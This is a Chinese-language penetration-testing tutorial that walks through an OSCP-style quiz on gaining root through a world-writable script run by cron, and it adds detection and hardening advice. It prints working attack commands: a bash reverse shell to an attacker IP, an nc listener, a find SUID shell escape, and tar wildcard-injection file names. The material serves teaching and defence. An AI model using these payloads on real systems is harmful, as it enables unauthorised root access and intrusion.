[題目解析] 001 Root 就在眼前:一題 Cron Job 提權,看懂 OSCP 與真實世界的差距

先看題目

你在滲透測試中拿到了一個低權限 shell,目標是 Linux 系統。

你執行了以下指令:

$ id
uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
​
$ uname -a
Linux target 5.4.0-131-generic #147-Ubuntu SMP x86_64 GNU/Linux
​
$ sudo -l
Sorry, user www-data may not run sudo on target.
​
$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/find
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/pkexec

你同時注意到:

$ cat /etc/crontab
* * * * * root /opt/monitoring/check.sh
​
$ ls -la /opt/monitoring/check.sh
-rwxrwxrwx 1 root root 512 Apr 10 09:21 /opt/monitoring/check.sh
​
$ cat /opt/monitoring/check.sh
#!/bin/bash
/usr/bin/uptime >> /var/log/uptime.log

你的目標是穩定地取得 root 權限。

你會怎麼做?
A)立即使用 /usr/bin/pkexec 執行 CVE-2021-4034(PwnKit),取得 root shell

B)將 reverse shell payload 寫入 /opt/monitoring/check.sh,等待 cron 執行

C)使用 /usr/bin/find 的 SUID bit,透過 GTFOBins 提權

D)先確認 /var/log/uptime.log 的寫入權限與 cron 執行環境,再決定攻擊路徑


這題的答案

在這題給定的資訊下,最直接的考試(OSCP)解法是 B。

在真實滲透測試中,更成熟的做法是 D:先確認影響與環境,再執行類似 B 的利用方式。

這兩個答案都是對的,但對的原因不同。這篇文章會一層一層拆開來說。


為什麼這個設定錯誤很嚴重

在看解析之前,先理解這個情境為什麼嚴重。

這題同時滿足了三個條件:

條件 這題的狀況
檔案可被低權限使用者修改 -rwxrwxrwx,www-data 可寫
檔案會被 root 自動執行 * * * * * root /opt/monitoring/check.sh
執行頻率很高 每分鐘一次

這代表攻擊者不需要 exploit kernel、不需要 sudo 權限、也不需要任何密碼。只要能寫入腳本,就能把自己的指令交給 root 執行。

這種「misconfiguration 導致提權」的情境,在真實滲透測試報告裡,風險評級通常是 High 到 Critical


考試答題思維:為什麼不是問「所有可行方法」

選擇題問的是:在這些資訊下,最合理、最穩、最符合題目重點的方法。

把這題的四個選項對號入座:

選項 本質
A 賭一個不確定的 kernel/polkit exploit
B 直接利用已知的 root cron misconfiguration
C 利用 SUID binary(也可行,但不是這題的教學重點)
D 實戰前置確認流程

所以:如果題目情境偏 OSCP 靶機,B 最像出題者想考的點。如果題目問「真實客戶環境你會怎麼處理」,D 才是成熟做法。


第一層:先看懂發生了什麼

如果你還不熟 Linux 指令,可以先從這一層看起。

我們把題目裡出現的每個名詞都解釋清楚,最後再串起來說「為什麼 B 是答案」。


什麼是 Shell?

Shell 是你跟 Linux 系統溝通的「命令列介面」。你在裡面打指令,系統就執行。

低權限 shell 的意思是:你進入了這台電腦,但你的身份只是一個普通使用者(這題是 www-data,通常是跑網站用的帳號),不是管理員(root)。

就像你進了一棟大樓,但你只有訪客證,沒辦法進機房。

提權(Privilege Escalation),就是想辦法從訪客升級成大樓管理員。


什麼是 id?

$ id
uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)

id 這個指令告訴你:「你現在是誰」。

  • uid=1001 → 你的使用者編號是 1001
  • www-data → 你的帳號名稱
  • root 的 uid 永遠是 0

你的目標是讓 uid 變成 0,也就是成為 root。


什麼是 sudo -l?

$ sudo -l
Sorry, user www-data may not run sudo on target.

sudo 讓你用管理員身份執行指令。sudo -l 是問:「我被允許用 sudo 執行哪些東西?」

這裡的回答是「完全不行」,所以這條路死掉了。


什麼是 SUID?

SUID(Set User ID)是 Linux 的一種檔案權限機制。

當一個執行檔有 SUID 設定,而且它的擁有者是 root,那麼任何人執行它的時候,都會暫時以 root 身份執行

這題用 find / -perm -4000 -type f 找出所有有 SUID 的檔案,找到了 /usr/bin/find/usr/bin/pkexec 等等。


什麼是 Cron?

Cron 是 Linux 的「排程系統」,用來自動定時執行指令。

這題看到:

* * * * * root /opt/monitoring/check.sh

這一行的意思是:

欄位 數值 意思
分鐘 * 每分鐘
小時 * 每小時
日期 * 每天
月份 * 每月
星期 * 每天
執行者 root 以 root 身份執行
指令 /opt/monitoring/check.sh 執行這個腳本

翻譯成白話:在這個題目情境中,這代表系統每一分鐘會用 root 身份去執行這個腳本。


什麼是 -rwxrwxrwx?

-rwxrwxrwx 1 root root 512 Apr 10 09:21 /opt/monitoring/check.sh

這是 Linux 的檔案權限表示法:

- rwx rwx rwx
  |   |   |
  |   |   └── 其他人(any user)的權限
  |   └────── 同群組(group)的權限
  └────────── 擁有者(owner)的權限

r = 可讀
w = 可寫
x = 可執行

rwxrwxrwx 代表:所有人都可以讀、寫、執行這個檔案。

雖然這個檔案的擁有者是 root,但因為「其他人」也有 w(寫入)權限,所以你(www-data)也可以修改這個檔案的內容。


什麼是 Reverse Shell?

Reverse Shell 是一種連線方式。

通常你要連進一台電腦,是你主動去連它。但在滲透測試裡,目標電腦可能有防火牆擋住外來連線。

Reverse Shell 的邏輯是反過來的:讓目標電腦主動連回來找你

你先在自己的電腦開一個「接聽器」(Listener),然後目標電腦的某個腳本執行後,連回你。

這題的流程:

你的電腦(攻擊機)            目標電腦
      |                          |
      |  開 nc -lvnp 4444        |
      |                          |
      |   ←←← 連線 ←←←←←←←←  cron 執行 check.sh(以 root 身份)
      |                          |
  取得 root shell

為什麼 B 是這題最直接的答案?

把上面的知識串起來:

  1. 有一個腳本 /opt/monitoring/check.sh
  2. 這個腳本每分鐘由 root 執行
  3. 這個腳本你可以自由修改(rwxrwxrwx)
  4. 所以,你把這個腳本改成「連回你的 reverse shell」
  5. 等 cron 執行,你就拿到了 root 的 shell

這條路:
– 不需要知道系統版本
– 不需要找 exploit
– 不需要懂核心漏洞
– 只需要理解「這個 root 會自動幫你執行任何你寫的東西」

這就是滲透測試最基本的思維:找最簡單、最確定的路,不要硬攻。


實際操作長這樣

步驟一:先備份原來的腳本

cp /opt/monitoring/check.sh /tmp/check.sh.bak

步驟二:把 reverse shell payload 附加到腳本末尾

cat << 'EOF' >> /opt/monitoring/check.sh
bash -c "bash -i >& /dev/tcp/你的IP/4444 0>&1"
EOF

注意這裡用的是 >>(附加),不是 >(覆寫)。這樣原本的腳本功能還在,只是額外多執行了一行。

考試靶機環境下,直接覆寫(>)也可以。但在真實環境中,應避免破壞原腳本功能,以最小修改方式驗證風險。

步驟三:在你的攻擊機開監聽

nc -lvnp 4444
  • -l → 監聽模式
  • -v → 顯示詳細資訊
  • -n → 不做 DNS 查詢
  • -p 4444 → 監聽 4444 這個 port

步驟四:等最多一分鐘

cron 每分鐘執行,你會收到一個 root shell。

步驟五:確認

id
# 應該看到:uid=0(root) gid=0(root) groups=0(root)

第二層:再判斷哪條路最穩

如果你已經打過靶機,這一層會幫你判斷:為什麼不是看到洞就打,以及各選項之間真正的差異在哪。


D 不是錯的,但它更像「實戰作業流程」

D 選項說的是:先確認 cron 是否實際執行、check.sh 是否真的可寫、執行環境與出站連線,再決定利用方式。

這個方向在真實環境完全正確。問題在於,選擇題問的是「最直接的 exploitation answer」,而不是「實戰前置作業」。

如果題目問「真實客戶環境下你會怎麼做」,D 才是更成熟的答案。

兩者的差異在於:

場景 重點
B OSCP 靶機 識別漏洞,正確利用
D 真實 VAPT / Red Team 確認影響、環境、痕跡,再執行

所以 D 不是錯的,而是它在這題的情境下,比 B 多了一個「確認」的步驟——而這個步驟在題目給定的資訊下,其實已經可以省略了。

你已經知道:
– 題目已明確給出 cron 任務設定:* * * * * root /opt/monitoring/check.sh
– 執行者是 root
– check.sh 是全域可寫(-rwxrwxrwx

在考試題目情境中,這行通常代表出題者希望你注意:root 會定期執行這個腳本。這些是題目明確給你的資訊,已經足夠做決定。


為什麼不先選 A(pkexec / PwnKit)?

這裡的 A 不只是 PwnKit,而是代表一種常見反應:看到系統版本、看到 SUID binary、看到近期 LPE,就想先丟 exploit。Copy Fail、Dirty Frag 這類新漏洞出來的時候,這種衝動會更強。但這個反應本身就是這題想考的盲點。

CVE-2021-4034 是 2022 年初爆出的 Polkit 漏洞,影響很廣,很多 Linux 系統都中招。

你看到 pkexec 在 SUID 清單裡,直覺想打這個是正常反應。

但問題在於:你不知道這個系統有沒有 patch。

# 你應該先查版本
dpkg -l policykit-1
apt-cache policy policykit-1

# 受影響版本:0.105-26 之前
# 如果系統已更新,exploit 不會成功

此外,PwnKit 打失敗可能會讓 process crash,留下 log,讓目標系統管理員察覺。

更根本的問題是:你已經有一個明確的提權路徑(writable cron script),為什麼要去賭一個不確定的 exploit?

OSCP 的核心原則之一:

不要在有確定路徑的時候,去賭一個不確定的 exploit。


為什麼不選 C(find SUID + GTFOBins)?

GTFOBins(https://gtfobins.github.io)是整理「如何利用特定 Linux 執行檔提權」的網站。

/usr/bin/find 如果真的有 SUID root,可以這樣打:

/usr/bin/find . -exec /bin/sh -p \; -quit

-p 是讓 sh 保留 SUID 賦予的有效 UID,不降回你原本的身份。

C 不是錯,它甚至可能是一條很快的路。

但在這題的教學重點裡,cron job + world-writable root script 是更明顯的 misconfiguration,也更能訓練「看懂系統自動執行流程」的能力。

需要留意的地方是:

  • 要確認 /usr/bin/find 真的是 SUID root(這題 SUID 清單裡有,所以理論上成立)
  • 部分環境會掛載 nosuid,或 shell 行為不同,需要測試
  • 如果 cron 路徑已經確定,C 就是備選,不需要優先嘗試

實戰補充:writable cron script 的三種變形

這題是最標準的 cron 提權情境。但你在靶機上還會遇到其他變形:

變形一:PATH Hijacking

cron 用相對路徑跑指令,而 PATH 環境變數裡有你可寫的目錄:

# /etc/crontab 內容
PATH=/home/user:/usr/local/bin:/usr/bin:/bin
* * * * * root cleanup.sh    # 沒有絕對路徑!

你只需要在 /home/user/ 放一個叫 cleanup.sh 的惡意腳本,cron 就會先找到你的版本。

變形二:Wildcard Injection

cron 跑的指令用了 * 萬用字元:

* * * * * root tar czf /backup/archive.tar.gz /var/www/*

你可以在 /var/www/ 建立特殊命名的檔案,讓 tar 把它解讀成參數:

touch /var/www/--checkpoint=1
touch '/var/www/--checkpoint-action=exec=sh shell.sh'

變形三:Script 引用了你可寫的設定檔

# check.sh 內容
source /etc/monitoring.conf

如果 /etc/monitoring.conf 你可以寫,你就不需要改 check.sh 本身。


第三層:最後思考真實世界怎麼做

如果你已經知道怎麼提權,這一層會討論考試、實戰與風險控管的差異。


為什麼答案有兩個

這題有一個刻意設計的矛盾:

  • OSCP 靶機:考的是「你能不能識別這個漏洞並正確利用它」,靶機是沙盒環境,不需要考慮影響範圍、痕跡、或業務中斷。B 是最直接的答案。
  • 真實客戶環境:你不確定那個 cron 腳本有沒有其他依賴、改掉它會不會影響生產系統、你的 reverse shell 出站 port 有沒有被防火牆擋、FIM 有沒有在監控這個檔案。D 才是成熟的做法。

這不是考試在騙你,而是反映了一個重要的現實:

滲透測試技術和滲透測試思維,不完全是同一件事。

OSCP 訓練你識別漏洞、會打。真實的 VAPT 或 Red Team 要求你在打之前理解影響,在打之後能清理痕跡,在報告裡說清楚風險。


真實世界的 D,具體在確認什麼?

1. 你的 reverse shell 能出站嗎?

# 在目標機測試出站連線
curl http://你的IP:8080
wget -q -O- http://你的IP:8080
# 或直接測試 TCP 連線
bash -c 'echo test > /dev/tcp/你的IP/4444'

很多企業環境只開 80/443 出站,你打 4444 根本連不到。

2. 這個 cron 腳本有沒有其他系統依賴?

cat /opt/monitoring/check.sh
# 如果它其實是監控 nginx 的:
# systemctl is-active --quiet nginx
# if [ $? -ne 0 ]; then systemctl restart nginx; fi

你把這個腳本改掉,nginx 掛了不會被重啟,客戶的系統管理員馬上就知道有問題。這就是為什麼附加(>>)比覆寫(>)更好。

3. 有沒有 File Integrity Monitoring(FIM)?

企業環境裡常見 Tripwire、AIDE、Wazuh 等 FIM 工具,一旦 check.sh 被修改,就會告警。

aide --check 2>/dev/null
auditctl -l | grep check.sh

4. 先測試連線,再動腳本

# 先把 payload 寫成另一個腳本,手動測試是否能連回去
echo 'bash -c "bash -i >& /dev/tcp/你的IP/4444 0>&1"' > /tmp/test_shell.sh
chmod +x /tmp/test_shell.sh
/tmp/test_shell.sh

確認連線穩定後,再把 payload 附加進 check.sh。


那 Copy Fail / Dirty Frag 這類近期 Linux Kernel LPE 呢?

這類漏洞當然要知道,而且在真實環境中非常重要。

Copy Fail(CVE-2026-31431)與 Dirty Frag,都是近期受到高度關注的 Linux kernel 本機權限提升漏洞。它們的共同點是:攻擊者通常必須先能在目標主機上執行程式,才有機會從低權限帳號提升到 root。

但在這題裡,kernel LPE 不會是第一優先。

原因很簡單:你眼前已經有一條更明確的路。

這題已經告訴你:
/etc/crontab 裡有 root 執行 /opt/monitoring/check.sh 的排程
– 這個腳本是 -rwxrwxrwx,任何使用者都能修改它
– 你不需要賭 kernel 版本、修補狀態、exploit 穩定性或 crash 風險

這就是滲透測試裡很重要的一個判斷原則:

有穩定的設定錯誤,就不要先賭不確定的 exploit。

這類 kernel LPE 在公開文章中,建議以風險判斷、修補與防禦觀念為主,不需要展開 exploit 細節。這篇文章的重點也不是教你怎麼打 kernel exploit,而是教你如何判斷「眼前哪條提權路徑最值得優先處理」。

Copy Fail / Dirty Frag 這類 kernel LPE,比較適合放在兩個情境下評估:

情境 說明
沒有明顯 misconfiguration 找不到 writable cron、sudo 權限、SUID 濫用、capabilities、可寫服務腳本時,才往 kernel exploit 方向評估
受限環境或容器環境 如果攻擊者已能在容器或受限 shell 內執行程式,部分 kernel LPE 可能進一步造成主機層級提權或容器逃逸

所以這題不是說 kernel exploit 不重要,而是說:在這個場景下,writable root cron script 是更直接、更穩、更符合題目重點的路。

把 kernel LPE 留到真正需要它的時候,才是正確的工具選擇思維。


關於痕跡:Cron 路徑不代表無痕

有一個常見的誤解需要說清楚:修改腳本本身,仍然可能留下以下記錄:

mtime / ctime 時間戳變動
auditd log(如果有 -w /opt/monitoring/ -p wa 規則)
FIM 告警(Tripwire / AIDE / Wazuh)
Shell 連線記錄
bash history / process trace
EDR 記錄

Cron 路徑更直接,也更符合這題暴露出的 misconfiguration,但「直接」不等於「不留痕」。在真實環境中,完整的 Red Team 作業需要在執行後做清理(cleanup),並在報告裡記錄所有操作。


Cron 提權的偵測與防禦

從防守方(Blue Team)的角度來看:

偵測方式:

# auditd 規則,監控目錄的寫入
-w /opt/monitoring/ -p wa -k cron_tamper

# inotifywait 即時監控檔案變動
inotifywait -m /opt/monitoring/check.sh -e modify

防禦方式:

# 正確的 check.sh 權限應該是:
chmod 750 /opt/monitoring/check.sh
chown root:root /opt/monitoring/check.sh

# 或更嚴格,只有 root 能讀寫執行:
chmod 700 /opt/monitoring/check.sh

-rwxrwxrwx 在生產環境出現,幾乎可以確定是設定錯誤,不是刻意的。這種錯誤在真實滲透測試報告裡,風險評級通常是 High 到 Critical


這題的 Mindset 總結

看到 writable cron script 反應
剛開始學習 不知道這有什麼問題
打過幾台靶機 馬上想寫 payload
有一定判斷能力 想寫 payload,但先確認出站、FIM、影響範圍
OSCP 考試情境 識別後執行,不猶豫
真實 Red Team 作業 識別、確認、執行、清理、記錄

延伸思考:這題還能怎麼變形?

如果你是出題者,這題可以這樣加難:

陷阱一:check.sh 存在但 cron service 沒啟動

systemctl status cron  # inactive (dead)

你的 payload 永遠不會被執行。

陷阱二:check.sh 可寫,但 cron 跑的是另一個路徑

# /etc/cron.d/monitoring 另外有一條任務
cat /etc/cron.d/monitoring
# * * * * * root /usr/local/bin/check.sh

你改了 /opt/monitoring/check.sh 沒有用。

陷阱三:出站連線被防火牆限制

cron 正常執行,payload 也跑了,但你的 reverse shell 出站 port 被擋。

這就是為什麼確認出站連線是實戰的第一步。


結語

這題看起來是一題選擇題,但它背後問的是:

你有沒有一套系統性的思維,在看到 attack surface 的時候,知道什麼時候該直接執行,什麼時候該停下來確認?

OSCP 告訴你:在資訊足夠的時候,不要猶豫,執行。

真實世界告訴你:資訊「看起來」足夠,不等於「真的」足夠。

兩個都是對的,只是場景不同。

學好 OSCP 的技術,再學懂真實世界的判斷——這才是完整的滲透測試思維。


FAQ

Q1:什麼是 Linux Cron Job 提權?

Linux Cron Job 提權是指攻擊者利用系統排程任務的錯誤設定,例如 root 定期執行低權限使用者可寫的腳本,讓自己的指令以 root 身份執行,進而取得更高權限。

Q2:為什麼 writable root cron script 很危險?

因為它同時滿足「低權限使用者可修改」與「root 會自動執行」兩個條件。攻擊者不需要密碼、不需要 sudo 權限,也不一定需要使用 kernel exploit,就可能取得 root。

Q3:OSCP 情境下為什麼會優先選 Cron Job 提權?

在 OSCP 靶機中,題目通常會提供足夠線索讓考生識別最直接的漏洞。若已知 root cron job 會執行 world-writable script,這通常比嘗試 PwnKit、Copy Fail 或 Dirty Frag 這類不確定 exploit 更穩定。

Q4:Copy Fail 和 Dirty Frag 需要了解嗎?

需要,但適合放在延伸討論。它們都是近期受到高度關注的 Linux kernel 本機權限提升漏洞,但在已有明確 writable root cron script 的情境下,通常不是第一優先解法。

Q5:真實滲透測試中可以直接修改 cron script 嗎?

不建議直接覆寫。真實客戶環境中應先確認出站連線、腳本依賴、File Integrity Monitoring、業務影響與授權範圍,再用最小修改方式驗證風險,並完整記錄與清理。

飛飛
飛飛

講師學歷:臺科資工所、逢甲資工系畢業。
技術專長:OSINT、滲透測試、網站開發、專業易懂教育訓練。
證照書籍:OSCP、OSCE³、著《資安這條路:領航新手的 Web Security 指南》。
教學經驗:60+ 企業教學經驗、指導過上百位學員。
教學特色:新手友善、耐心指導、擅長圖解(流程圖、心智圖)引導學習。
社群經驗:目前經營全臺資安社群 CURA,曾任臺科資安社社長、逢甲黑客社社長。
社群交流:LINE 社群《飛飛的資安大圈圈》,即時分享經驗、鼓勵交流。
社群分享:FB 粉專《資安這條路,飛飛來領路》,分享文章與圖卡整理。
個人網站:feifei.tw 分享資安技術文章;pbtw.tw 分享 AI 相關應用;ssdlc.feifei.tw 分享軟體安全開發流程文章。

飛飛
電話:02-23120400
Email:[email protected]
地址:臺北市中山區復興北路48號7樓